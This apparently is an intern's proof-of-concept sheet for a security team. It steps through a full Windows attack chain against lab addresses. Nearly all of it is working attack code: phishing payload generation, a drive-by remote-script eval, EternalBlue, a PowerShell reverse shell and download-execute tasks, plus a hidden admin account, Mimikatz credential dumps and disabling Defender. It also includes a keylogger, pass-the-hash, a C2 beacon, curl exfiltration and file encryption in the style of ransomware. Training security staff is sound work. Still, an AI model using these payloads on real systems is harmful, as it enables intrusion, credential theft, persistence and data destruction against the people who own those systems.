Proof of Concept (PoC) for Cybersecurity Techniques

Name - Ishan Chowdhury

Intern id - 159

Team - SkullFaced

procedures, payloads, and execution steps.

1. Initial Access

Phishing (Email Attachment)

bash

```bash
# Generate payload (Kali)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o invoice.exe


# Start listener
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"


# Send email (simulated)
swaks --to victim@example.com --from "support@trusted.com" --attach invoice.exe --body "Urgent invoice attached."
```

Drive-by Compromise

html

```html
<!-- Malicious HTML (hosted on Kali) -->
<script>fetch('http://192.168.1.100/malicious.js').then(r=>r.text()).then(eval)</script>
```

bash

```bash
python3 -m http.server 80  # Host payload
```

Exploit Public-Facing App (EternalBlue)

bash

```
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.101
```

```
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.1.101;
exploit"
```

2. Execution

PowerShell Reverse Shell

powershell

```
powershell -nop -c "$c=New-Object
Net.Sockets.TCPClient('192.168.1.100',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%
{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object
Text.ASCIIEncoding).GetString($b,0,$i);$e=(iex $d 2>&1 | Out-String );$f=$e+'PS '+(pwd).Path+'>
';$g=([text.encoding]::ASCII).GetBytes($f);$s.Write($g,0,$g.Length)}"
```

Scheduled Task

cmd

```
schtasks /create /tn "Update" /tr "powershell -nop -w hidden -c IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.100/rev.ps1')" /sc hourly /ru SYSTEM
```

3. Persistence

Registry Run Key

cmd

```
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Backdoor" /t REG_SZ /d
"C:\malicious.exe" /f
```

Hidden Admin User

cmd

```
net user /add stealthuser P@ssw0rd123 /active:yes
```

```
net localgroup administrators stealthuser /add
```

4. Privilege Escalation

UAC Bypass

bash

```
msfconsole -q -x "use exploit/windows/local/bypassuac_injection; set SESSION 1; exploit"
```

Token Impersonation (Mimikatz)

cmd

```
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam"
```

5. Defense Evasion

Obfuscated PowerShell

powershell

```
$enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/rev.ps1')"))

powershell -EncodedCommand $enc
```

Disable Windows Defender

cmd

```
sc stop WinDefend
```

6. Credential Access

Mimikatz Dump

cmd

```
mimikatz.exe "sekurlsa::logonpasswords"
```

Keylogger (Python)

python

```
import pyHook, pythoncom, logging

logging.basicConfig(filename='keylog.txt', level=logging.DEBUG)

def OnKeyboardEvent(event):

    logging.log(10, chr(event.Ascii))

hm = pyHook.HookManager()

hm.KeyDown = OnKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()
```

7. Discovery

Network Scanning

bash

```
nmap -sV -A 192.168.1.0/24
```

System Info

cmd

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

8. Lateral Movement

Pass-the-Hash

bash

```
pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76 //192.168.1.102 cmd
```

RDP Hijacking

bash

```
xfreerdp /v:192.168.1.102 /u:admin /pth:NTLM_HASH
```

9. Collection

Screenshot Capture

bash

```
# On Windows (PowerShell)

Add-Type -AssemblyName System.Windows.Forms; $s = New-Object System.Windows.Forms.Screen; $b = New-Object System.Drawing.Bitmap($s.Bounds.Width, $s.Bounds.Height); $g = [System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen($s.Bounds.Location, [System.Drawing.Point]::Empty, $s.Bounds.Size); $b.Save("C:\screenshot.png")
```

10. Command and Control

HTTPS Beacon

powershell

```
while($true){$r=Invoke-WebRequest -Uri "https://192.168.1.100/c2" -UseBasicParsing;iex $r.Content;sleep 60}
```

11. Exfiltration

Data Encryption & Exfil

bash

```
# Encrypt
openssl enc -aes-256-cbc -salt -in secrets.txt -out secrets.enc -k P@ssw0rd


# Exfil via HTTPS
curl -X POST -F "file=@secrets.enc" https://exfil-server.com/upload
```

12. Impact

Ransomware (Simulated)

bash

```
find /path/to/files -type f -exec openssl enc -aes-256-cbc -salt -in {} -out {}.enc -k P@ssw0rd \;
```

13. Reconnaissance

Google Dorking

bash

```
googler "site:example.com filetype:pdf"
```

WHOIS Lookup

bash

```
whois example.com | grep "Registrant Email"
```

Cleanup

cmd

```
del C:\malicious.exe
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Backdoor" /f
net user stealthuser /delete
```